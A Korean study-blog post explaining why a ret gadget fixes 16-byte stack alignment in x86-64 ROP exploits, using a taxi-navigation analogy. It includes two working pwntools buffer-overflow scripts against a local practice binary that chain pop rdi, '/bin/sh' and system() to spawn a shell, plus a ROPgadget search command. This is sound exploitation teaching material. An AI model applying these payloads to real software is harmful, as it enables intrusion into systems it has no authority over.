🛠️ ROP에서 ret 가젯이란? (일상 비유 포함)
ROP 익스플로잇을 할 때 가장 자주 사용되는 가젯 중 하나가 ret(return) 가젯입니다.
이 가젯이 왜 중요한지 쉽게 이해할 수 있도록 일상적인 비유와 함께 설명할게요! 😊
🔍 1️⃣ ret 가젯이란?
- 정의: ret 가젯은 현재 스택의 최상단(Top of Stack, TOS)에 있는 값을 RIP(Instruction Pointer)로 이동시키는 역할을 합니다.
- 역할: 스택 정렬을 맞추고, 올바른 ROP 체인을 유지하기 위해 사용됩니다.
🚖 2️⃣ 일상적인 비유: 택시기사와 내비게이션 🗺️
📌 ret 가젯이 필요한 이유를 택시기사(Taxi) 비유로 설명
🚕 Imagine:
- 당신이 택시를 탔어요. 목적지(함수)가 여러 개 있고, 택시 기사(CPU)가 **목적지 리스트(스택)**를 참고해서 이동해야 해요.
- 하지만 목적지 리스트가 정리되지 않고 엉망진창이라면 🚨 택시 기사가 엉뚱한 곳으로 가버릴 수도 있어요! 😵
💡 이때, ret 가젯이 하는 역할은?
✔ 내비게이션을 올바르게 리셋해주는 역할을 합니다.
✔ ret을 실행하면 택시는 올바른 목적지 리스트(스택 주소)를 다시 읽고, 정리된 목적지로 이동합니다.
🚖 즉, ret 가젯은 CPU가 다음 실행할 코드를 정확하게 인식하도록 도와주는 역할을 합니다! 🚀
📌 3️⃣ ret 가젯이 중요한 이유 (메모리 구조 포함)
✅ 정상적인 함수 실행 (택시가 목적지까지 정상 운행)
- call function() 실행 → 스택에 return address 저장
- 함수 실행 후 ret을 만나면, 스택에서 return address를 가져와 실행
스택 (Stack)
0x400080 (리턴 주소) |
0x400078 (이전 RBP 값) |
0x400070 (로컬 변수) |
✔ 정상적인 경우, ret 실행 시 0x400080으로 이동하여 원래 함수로 돌아감.
❌ ret 가젯이 없으면? (택시가 길을 잃음)
- 만약 스택이 정렬되지 않은 상태에서 ret 없이 system("/bin/sh")을 실행하면,
🚨 프로그램이 **세그멘테이션 폴트(SIGSEGV)**를 일으킬 수 있음.
💡 왜냐하면?
- x86-64 아키텍처에서 call 명령을 실행하면 RSP(Stack Pointer)는 16바이트 정렬이 되어야 함.
- 하지만 ROP 익스플로잇 과정에서 가끔 스택이 어긋날 수 있음.
- 이럴 때 ret 가젯을 추가하여 스택 정렬을 맞춰야 함.
💡 4️⃣ 실제 코드 예제
✅ ret 없이 실행했을 때 (스택 정렬 오류 발생)
from pwn import *
elf = ELF("./chall")
p = process("./chall")
pop_rdi = 0x0000000000401565 # pop rdi; ret;
system = elf.symbols['system']
bin_sh = 0x4020c4 # "/bin/sh" 문자열 주소
payload = b"A" * 24 # BOF 발생
payload += p64(pop_rdi) # pop rdi; ret;
payload += p64(bin_sh) # "/bin/sh" 주소
payload += p64(system) # system("/bin/sh") 실행
p.sendline(payload)
p.interactive()
🚨 위 코드를 실행하면, 스택이 16바이트 정렬되지 않으면 SIGSEGV(세그멘테이션 폴트) 오류 발생 가능.
✅ ret을 추가하여 해결한 코드
from pwn import *
elf = ELF("./chall")
p = process("./chall")
pop_rdi = 0x0000000000401565 # pop rdi; ret;
system = elf.symbols['system']
bin_sh = 0x4020c4 # "/bin/sh" 문자열 주소
ret = 0x000000000040101a # ret 가젯 (스택 정렬용)
payload = b"A" * 24 # BOF 발생
payload += p64(pop_rdi) # pop rdi; ret;
payload += p64(bin_sh) # "/bin/sh" 주소
payload += p64(ret) # 스택 정렬 맞추기
payload += p64(system) # system("/bin/sh") 실행
p.sendline(payload)
p.interactive()
🚀 위처럼 ret을 추가하면 스택이 정렬되어 정상 실행 가능!
🛠 5️⃣ ret 가젯을 찾는 방법
ROPgadget --binary ./chall | grep "ret"
출력 예시:
0x000000000040101a : ret
✔ 이 주소(0x40101a)를 익스플로잇 페이로드에 추가하면 스택 정렬 문제 해결 가능!
🔚 결론
📌 ret 가젯이 중요한 이유 정리
🚖 택시 시스템 🖥️ 메모리(컴퓨터)
택시 기사가 올바른 목적지를 찾아야 함 | CPU가 올바른 리턴 주소로 이동해야 함 |
내비게이션 오류가 있으면 엉뚱한 곳으로 감 | 스택 정렬이 안 맞으면 SIGSEGV(크래시) 발생 |
🚗 ret 가젯 추가 = 길을 정리해서 정확한 목적지로 이동! | 🖥️ ret 가젯 추가 = 스택 정렬 문제 해결! |
💡 즉, ret 가젯을 사용하면:
- 스택 정렬을 맞춰서 ROP 체인을 안정적으로 실행할 수 있음.
- check_alignment() 같은 함수에서 오류 없이 실행 가능.
- ROP를 더 강력하게 사용할 수 있음.
✅ 이제 다시 실행해서 결과 확인해보세요! 🚀😊
✔ Pwndbg에서 ret 없이 실행했을 때와 추가했을 때의 차이를 확인하면 더 확실하게 이해될 거예요!
'Study > System' 카테고리의 다른 글
return address vs ret 가젯 차이점과 관계 (0) | 2025.02.24 |
---|---|
ROP(Return-Oriented Programming) (0) | 2025.02.24 |
가젯(Gadget) (0) | 2025.02.24 |
RWX메모리를 만드는 mprotect(), mmap() (1) | 2025.02.22 |
GOT(Global Offset Table) (0) | 2025.02.18 |